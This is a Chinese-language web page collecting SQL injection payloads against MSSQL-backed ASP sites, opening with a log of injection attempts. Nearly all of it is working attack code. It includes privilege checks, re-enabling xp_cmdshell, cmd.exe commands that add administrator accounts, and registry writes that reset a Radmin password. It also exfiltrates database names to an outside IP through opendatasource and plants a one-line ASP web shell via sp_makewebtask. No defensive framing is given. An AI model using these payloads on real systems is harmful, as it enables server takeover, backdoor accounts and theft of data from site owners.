web 页面 一些sql注入语句小结


  本文标签:sql注入

选中 操作页面 提交数据 IP/日期 方式
/zz_article/articleshow.asp articleid=297 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124)=1 124.237.26.212
2007-11-14 SQL注入(GET)
/product/productshow.asp productid=74 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124)=1 124.237.26.212
2007-11-14 SQL注入(GET)
/product/productshow.asp productid=90 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124)=1 124.237.26.212
2007-11-14 SQL注入(GET)

//看看是什么权限的
and 1=(Select IS_MEMBER(db_owner))
And char(124)%2BCast(IS_MEMBER(db_owner) as varchar(1))%2Bchar(124)=1 ;--

//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS(master))
And char(124)%2BCast(HAS_DBACCESS(master) as varchar(1))%2Bchar(124)=1 --


数字类型
and char(124)%2Buser%2Bchar(124)=0

字符类型
and char(124)%2Buser%2Bchar(124)=0 and =

搜索类型
and char(124)%2Buser%2Bchar(124)=0 and %=

爆用户名
and user>0
and user>0 and =

检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER(sysadmin));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

检测是不是MSSQL数据库
and exists (select * from sysobjects);--

检测是否支持多行
;declare @d int;--

恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc xp_cmdshell,xplog70.dll;--


select * from openrowset(sqloledb,server=192.168.1.200,1433;uid=test;pwd=pafpaf,select @@version)

//-----------------------
// 执行命令
//-----------------------
首先开启沙盘模式:
exec master..xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Jet\4.0\Engines,SandBoxMode,REG_DWORD,1

然后利用jet.oledb执行系统命令
select * from openrowset(microsoft.jet.oledb.4.0,;database=c:\winnt\system32\ias\ias.mdb,select shell("cmd.exe /c net user admin admin1234 /add"))

执行命令
;DECLARE @shell INT EXEC SP_OAcreate wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add;--

EXEC [master].[dbo].[xp_cmdshell] cmd /c md c:\1111

判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_cmdshell)

写注册表
exec master..xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Jet\4.0\Engines,SandBoxMode,REG_DWORD,1

REG_SZ

读注册表
exec master..xp_regread HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,Userinit

读取目录内容
exec master..xp_dirtree c:\winnt\system32\,1,1


数据库备份
backup database pubs to disk = c:\123.bak

//爆出长度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--



更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,新密码,sa

添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc xp_cmdshell

添加扩展存储过过程
EXEC [master]..sp_addextendedproc xp_proxiedadata, c:\winnt\system32\sqllog.dll
GRANT exec On xp_proxiedadata TO public


停掉或激活某个服务 。

exec master..xp_servicecontrol stop,schedule
exec master..xp_servicecontrol start,schedule

dbo.xp_subdirs

只列某个目录下的子目录 。
xp_getfiledetails C:\Inetpub\wwwroot\SQLInject\login.asp

dbo.xp_makecab

将目标多个档案压缩到某个目标档案之内 。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开 。

dbo.xp_makecab
c:\test.cab,mszip,1,
C:\Inetpub\wwwroot\SQLInject\login.asp,
C:\Inetpub\wwwroot\SQLInject\securelogin.asp

xp_terminate_process

停掉某个执行中的程序,但赋予的参数是 Process ID 。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID

xp_terminate_process 2484

xp_unpackcab

解开压缩档 。

xp_unpackcab c:\test.cab,c:\temp,1


某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite HKEY_LOCAL_MACHINE,SYSTEM\RAdmin\v2.0\Server\Parameters,Parameter,REG_BINARY,0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678 。如果要修改端口值 EXEC master.dbo.xp_regwrite HKEY_LOCAL_MACHINE,SYSTEM\RAdmin\v2.0\Server\Parameters,port,REG_BINARY,0xd20400 则端口值改为1234

create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);

//得到数据库名
insert into opendatasource(sqloledb,server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx).lcx.dbo.ku select name from master.dbo.sysdatabases


//在Master中创建表,看看权限怎样
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--

用 sp_makewebtask直接在web目录里写入一句话马:
http://127.0.0.1/dblogin123.asp?username=123;exec%20sp_makewebtask%20d:\www\tt\88.asp,%20select%20<%25execute(request("a"))%25>%20;--

//更新表内容
Update films SET kind = Dramatic Where id = 123

//删除内容
delete from table_name where Stockid = 3